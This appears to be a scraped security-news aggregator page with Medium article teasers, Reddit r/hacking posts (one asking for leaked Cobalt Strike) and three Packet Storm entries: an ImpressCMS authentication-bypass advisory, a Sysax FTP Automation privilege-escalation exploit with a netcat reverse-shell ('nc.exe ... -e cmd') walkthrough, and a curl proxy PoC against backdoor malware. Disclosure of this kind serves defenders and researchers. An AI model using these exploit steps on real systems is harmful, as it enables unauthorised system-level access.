Hacking on Medium
Effective Cyber Security Strategies for Internet of Things (IoT)

https://cdn-images-1.medium.com/max/2600/0*zbQgoYMdE8C5LPyv
As more and more devices are connected to the internet, the potential for cyberattacks increases. While many of these devices are not…

Continue reading on Medium »

Hacking on Medium
Los nuevos errores del BIOS de Dell afectan a millones de sistemas Inspiron, Vostro, XPS y…

https://cdn-images-1.medium.com/max/1000/0*mg9u_cildjAQAcj3
PUBLICADO EN 22 MARZO, 2022POR EHACKING

Continue reading on Medium »

Hacking on Medium
How I hacked My Neighbor’s Wi-Fi

https://cdn-images-1.medium.com/max/2600/0*bW2MHHCByxeZksW2
Before getting started if you want to see the video about it
Check it out here 👉 Link

Continue reading on Medium »

Hacking on Medium
Writeup : Challenge-6

https://cdn-images-1.medium.com/max/1054/1*xFrLbaNmDZOI4k6uGsHoZg.png
This is the writeup for Challenge-6 of weekly challenges made by SecurityLabs. Follow us on twitter to be for latest challenges.

Continue reading on Medium »

Hacking on Medium
File Upload Vulnerabilities

https://cdn-images-1.medium.com/max/1280/1*0fJfaVLIqCB-mZTg-iOmYg.png
This write up/(my personal noob notes) is based on the web security academy’s topic of file upload vulnerabilities and how I learned to…

Continue reading on Medium »

hacking: security in practice
Pattern removal from Xiaomi mobile phones

Don't judge, a girl gave these to me and it belongs to a friend of a friend of hers that have passed away since 1-2 years ago.

They don't care about the phones only the data inside.

One phone is "Xiaomi Mi 8 Lite" and the other one is "Xiaomi Redmi Note 5"

What should i do with them?

Thanks in advance.

submitted by /u/JuicyNatural
[link] [comments]

hacking: security in practice
Does anybody have a leaked version of cobalt strike?

It would be greatly appreciated. Looking for a version I can run on kali. I know it was leaked and I have a few assholes trying to sell me leaked software for $500. Just drop a comment or PM me. Thank you :)

submitted by /u/Shitty_sam7
[link] [comments]

hacking: security in practice
Is it possible to evade windows 10 firewall ?

I have bwen playing around with nmap and a windows 10 vm. I have noticed that even with firewall evasion techniques, such as fragmentation, mac spoofing, mtu, etc... it is not possible to scan the ports of the windows machine. Unless I change windows firewall rules ofc. I checked the firewall rules and it states that it blocks all incoming traffic in default settings. Since there is essentially no rule on incoming traffic, other than to ignore/block it, is it even possible to evade windows firewall ? It does seem inpenetrable to me since the rule is to basically not let anyone in.

EDIT: Typo

submitted by /u/JeppNeb
[link] [comments]

The mystery of SQLMap’s --eval
https://infosecwriteups.com/the-mystery-of-sqlmaps-eval-f6c7bf43e1f?source=rss------bug_bounty-5

Master the power of exploiting most complex SQL injectionsContinue reading on InfoSec Write-ups » (https://infosecwriteups.com/the-mystery-of-sqlmaps-eval-f6c7bf43e1f?source=rss------bug_bounty-5)

The mystery of SQLMap’s --eval

Master the power of exploiting most complex SQL injectionsContinue reading on InfoSec Write-ups »
Read more...

Caso de uso não autorizados de chave da API do Google Maps

Fala galera,Continue reading on Medium »
Read more...

Exploit Collector
ImpressCMS 1.4.2 Authentication Bypass

https://4.bp.blogspot.com/-42b-8Yu8ql4/WWlvfoDuyhI/AAAAAAAAIQE/GMGQD7Uo7DMncRccI_LNcWgfvYRkd0zwQCLcBGAs/s1600/h86.png
ImpressCMS versions 1.4.2 and below suffer from an authentication bypass vulnerability.

MD5 | cb96afceb1d5f28665500ba31bf166ab

Download
-----------------------------------------------------------------------
ImpressCMS <=
-----------------------------------------------------------------------
[-] Software Link:

https://www.impresscms.org
[-] Affected Versions:

Version 1.4.2 and prior versions.
[-] Vulnerability Description:

The vulnerability is located in the /plugins/preloads/autologin.php script:

45. $uname = $myts->stripSlashesGPC($autologinName);
46. $pass = $myts->stripSlashesGPC($autologinPass);
47. if (empty($uname) || is_numeric($pass)) {
48. $user = false ;
49. } else {
50. // V3
51. $uname4sql = addslashes($uname);
52. $criteria = new icms_db_criteria_Compo(new
icms_db_criteria_Item('login_name', $uname4sql));
53. $user_handler = icms::handler('icms_member_user');
54. $users = $user_handler->getObjects($criteria, false);
55. if (empty($users) || count($users) != 1) {
56. $user = false ;
57. } else {
58. // V3.1 begin
59. $user = $users[0] ;
60. $old_limit = time() -
(defined('ICMS_AUTOLOGIN_LIFETIME') ? ICMS_AUTOLOGIN_LIFETIME : 604800);
61. list($old_Ynj, $old_encpass) = explode(':', $pass);
62. if (strtotime($old_Ynj) < $old_limit ||
md5($user->getVar('pass') .
63. ICMS_DB_PASS . ICMS_DB_PREFIX . $old_Ynj)
!= $old_encpass)
64. {
65. $user = false;
66. }

User input passed through the "autologin_uname" and "autologin_pass"
cookie values is being used at lines 51-54 to fetch an user object from
the database, and then at lines 62-63 to check the correctness of the
user's password. The vulnerability exists because of an unsafe way of
comparing those parameters, due to comparison operator != is being used
instead of !== within the "if" statement at lines 62-63. The latter
operator returns "true" only if the compared values are equal and the
same type, while the first compares the values after "type juggling".
This might be exploited to potentially bypass the authentication
mechanism and login as any user without the knowledge of the password.
[-] Solution:

Upgrade to version 1.4.3 or later.
[-] Disclosure Timeline:

[20/01/2021] - Vendor notified through HackerOne
[02/02/2021] - Vendor replied this has been resolved and will be in
ImpressCMS 1.4.3
[03/02/2021] - CVE number assigned
[06/02/2022] - Version 1.4.3 released
[22/03/2022] - Public disclosure
[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-26600 to this vulnerability.
[-] Credits:

Vulnerability discovered by Egidio Romano.
[-] Other References:

https://hackerone.com/reports/1081986
[-] Original Advisory:

http://karmainsecurity.com/KIS-2022-01


Source:packetstormsecurity.com

Exploit Collector
Sysax FTP Automation 6.9.0 Privilege Escalation

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Sysax FTP Automation version 6.9.0 suffers from a privilege escalation vulnerability.

MD5 | cabc8e82b372a9b0475ad6a07ee85d3e

Download
# Exploit Author: bzyo (@bzyo_)
# Exploit Title: Sysax FTP Automation 6.9.0 - Privilege Escalation
# Date: 03-20-2022
# Vulnerable Software: Sysax FTP Automation 6.9.0
# Vendor Homepage: https://www.sysax.com/
# Version: 6.9.0
# Software Link: https://www.sysax.com/download/sysaxauto_setup.msi
# Tested on: Windows 10 x64

# Details:
Sysax Scheduler Service runs as Local System. By default the application allows for low privilege users to create/run backup jobs other than themselves. By removing the option to run as current user or another, the task will run as System. A low privilege user could abuse this and escalate their privileges to local system.

# Prerequisites:
To successfully exploit this vulnerability, an attacker must already have local access to a system running Sysax FTP Automation using a low privileged user account

# Exploit:
Logged in as low privileged account

1. Create folder c:\temp
2. Download netcat (nc.exe) to c:\temp
3. Create file 'pwn.bat' in c:\temp with contents
c:\temp\nc.exe localhost 1337 -e cmd
4. Open command prompt and netcat listener
nc -nlvvp 1337
5. Open sysaxschedscp.exe from C:\Program Files (x86)\SysaxAutomation
6. Select Setup Scheduled/Triggered Tasks
- Add task (Triggered)
- Update folder to monitor to be c:\temp
- Check 'Run task if a file is added to the monitor folder or subfolder(s)'
- Choose 'Run any other Program' and choose c:\temp\pwn.bat
- Uncheck 'Login as the following user to run task'
- Finish and Save
7. Create new text file in c:\temp
8. Check netcat listener
C:\WINDOWS\system32>whoami
whoami
nt authority\system


Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.Agent.bxxn Open Proxy

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
Backdoor.Win32.Agent.bxxn malware suffers from an open proxy vulnerability.

MD5 | 7a869bda2813b6f98ff4465388a0e478

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/dcbc237f21839a6514c8321d5fa631a4.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.bxxn
Vulnerability: Open Proxy
Description: The malware listens on TCP port 1080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Family: Agent
Type: PE32
MD5: dcbc237f21839a6514c8321d5fa631a4
Vuln ID: MVID-2022-0522
Disclosure: 03/21/2022

Exploit/PoC:
curl socks4://192.168.18.125:1080 http://192.168.18.128:21
220 INetSim FTP Service ready.

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com